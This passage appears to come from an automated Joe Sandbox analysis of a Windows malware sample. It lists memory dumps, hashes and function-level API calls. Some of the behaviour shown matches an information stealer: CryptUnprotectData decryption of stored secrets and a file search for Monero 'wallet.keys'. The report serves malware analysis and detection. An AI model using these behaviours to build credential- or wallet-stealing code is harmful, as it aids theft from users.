Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Px{^$k:=$y?oY$>g6
API String ID: 0-643451404
Opcode ID: a154b458e494b7dfcc34da0ea74c6bbcee98489c9df9252be5816adfce91379e
Instruction ID: 9afaae43dc458f508aaae2e060c0beb42d825f42e7a171d367b39ab610af20e4
Opcode Fuzzy Hash: a154b458e494b7dfcc34da0ea74c6bbcee98489c9df9252be5816adfce91379e
Instruction Fuzzy Hash: 69B2F6F360C204AFE3046E2DEC8567ABBE9EF94720F1A463DE6C4C3744EA7558058697

Function 00418EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: 3c4cb89ba01459054e3b3595e947631781f59a96386c3a2a773972b879479806
Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 62111C74200204BFDB00CFA4D884FA733AAAF89304F109549F9198B250DB39EC82DB65

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0128D8C8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
RtlAllocateHeap.NTDLL(00000000), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0128D8C8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 007C8B69 Relevance: 5.4, Strings: 3, Instructions: 1677COMMON

Download Yara Rule

Strings

N hv, xrefs: 007C8EC5
V?w, xrefs: 007C94F0
`o, xrefs: 007C8CCA

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: N hv$`o$V?w
API String ID: 0-2689779999
Opcode ID: 3154c95c5908c351d139f1df77e55d449680bf68dd411a53c151649a934a1896
Instruction ID: 7f29cfa3e5e9fbb528951ba447c00a495fc54016682efb7e55b99460e9bee0a5
Opcode Fuzzy Hash: 3154c95c5908c351d139f1df77e55d449680bf68dd411a53c151649a934a1896
Instruction Fuzzy Hash: 44B239F3A082009FE304AE2DEC4567AB7E6EFD4320F1A853DEAC5D3744EA7558058697

Function 007D14BA Relevance: 5.3, Strings: 3, Instructions: 1570COMMON

Download Yara Rule

Strings

G_w, xrefs: 007D245B
~[_, xrefs: 007D215A
*w{, xrefs: 007D197A

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: G_w$~[_$*w{
API String ID: 0-3789188570
Opcode ID: 0cd17085173ac4a23225c09256a0ccfce7232490426a46e747ed6aef208cadd7
Instruction ID: 35af049e7bb702c9d153f93e007ceb1d863f3fa7531d4fd35dd8ce92e22a5971
Opcode Fuzzy Hash: 0cd17085173ac4a23225c09256a0ccfce7232490426a46e747ed6aef208cadd7
Instruction Fuzzy Hash: DFB2E5F3A0C2049FE7046E2DEC8567ABBE9EF94720F16493DEAC4C3344EA3558158697

Function 007DA1B9 Relevance: 4.6, Strings: 3, Instructions: 878COMMON

Download Yara Rule

Strings

vo_, xrefs: 007DA5A5
}hg, xrefs: 007DA66E
"t|, xrefs: 007DA90C

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "t|$vo_$}hg
API String ID: 0-3737732124
Opcode ID: 1ebd5e3b2bed53200b37be242472984eb49a307875c5309f47cc58272489f057
Instruction ID: ffcbd222d459af1aa0e5e453792523ef8e7ca55105195078d0c66661ef9a8eb5
Opcode Fuzzy Hash: 1ebd5e3b2bed53200b37be242472984eb49a307875c5309f47cc58272489f057
Instruction Fuzzy Hash: 834207F3A0C2049FD3046E2DEC4567AFBEAEFD4720F1A463DE6C487744EA3598058696

Function 00413720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E118,00000000,00000001,0041E108,00000000), ref: 00413758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004137B0

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction ID: 95f6a265596bdc049295610fa53daf8ef9ce5e7415083cbf30a8e52d2e28a0c3
Opcode Fuzzy Hash: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction Fuzzy Hash: A941F474A40A28AFDB24DF58CC94BDAB7B5BB48306F4041D9A608A72D0E771AEC5CF50

Function 00409B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 3b80322b02821ad40be44c2d779127a4b0da0f685be038a0a450de2c4c3011bb
Instruction ID: a7dd7d88ef9fddb89c8ab42ef12d3e8ff20f9c8e15d72f7a6a9a533d2b4962a9
Opcode Fuzzy Hash: 3b80322b02821ad40be44c2d779127a4b0da0f685be038a0a450de2c4c3011bb
Instruction Fuzzy Hash: B211CCB9A00209EFDB04DF94D985AAE77B6FF89300F104569E915A7390D774AE10CF61

Function 0040F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: dbc33d9263c12bccf2023e6a26364f15308e1a9a0f3d34f169b2ef739c1ce31c
Instruction ID: df6638fc5bd81c094c6f77900714a3576ce2bb2c5a2211ca5e3b78e4b48bff29
Opcode Fuzzy Hash: dbc33d9263c12bccf2023e6a26364f15308e1a9a0f3d34f169b2ef739c1ce31c
Instruction Fuzzy Hash: 2611E73080110CABDB24FBB0DC559ED7338AF10314F4042AFA00A570D2EF382B9ACB6A

Function 006F7027 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

'C`D, xrefs: 006F71B5

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'C`D
API String ID: 0-2050069804
Opcode ID: 01d990a738332316d4947981cba7c60751fd0303b4756bb58cb04cdff24d03cd
Instruction ID: d3c79d26217c8b596662296b85f67b2b4ff9ac69c18b13c76f9ace42127ea19d
Opcode Fuzzy Hash: 01d990a738332316d4947981cba7c60751fd0303b4756bb58cb04cdff24d03cd
Instruction Fuzzy Hash: 956103F2A082149FE310AE28DC8177AB7E5EF84720F06853DEAC487384EA395815C7C7

Function 007B3889 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

y~X, xrefs: 007B3985

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: y~X
API String ID: 0-2759057175
Opcode ID: 981c3b692b31347dfdebde2d5985d56913e070c5333704824325c8cba6ac78e4
Instruction ID: ffcf98a24656c716838450b23467f30817a86d16ce256d0035eafe2c0f53eedf
Opcode Fuzzy Hash: 981c3b692b31347dfdebde2d5985d56913e070c5333704824325c8cba6ac78e4
Instruction Fuzzy Hash: F95158F3E442144BF304692DEC84776B6D6EB94320F29853DDB94877C4E93E98058382

Function 00765D1E Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

_^tw, xrefs: 00765E96

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: _^tw
API String ID: 0-1362795327
Opcode ID: 9199ae279f3c2d7556793103b7506e61c6b739f95523c3d74b7ab5561202caa4
Instruction ID: ae7d3eb2b7159f1853003ff2c76b47758f034b7303073d77c315f437f16e6363
Opcode Fuzzy Hash: 9199ae279f3c2d7556793103b7506e61c6b739f95523c3d74b7ab5561202caa4
Instruction Fuzzy Hash: 0B51F7B3A093149FE304AE39DC84366B7D5EF58720F1A893DDAC8D3384EA7958048787

Function 00735656 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
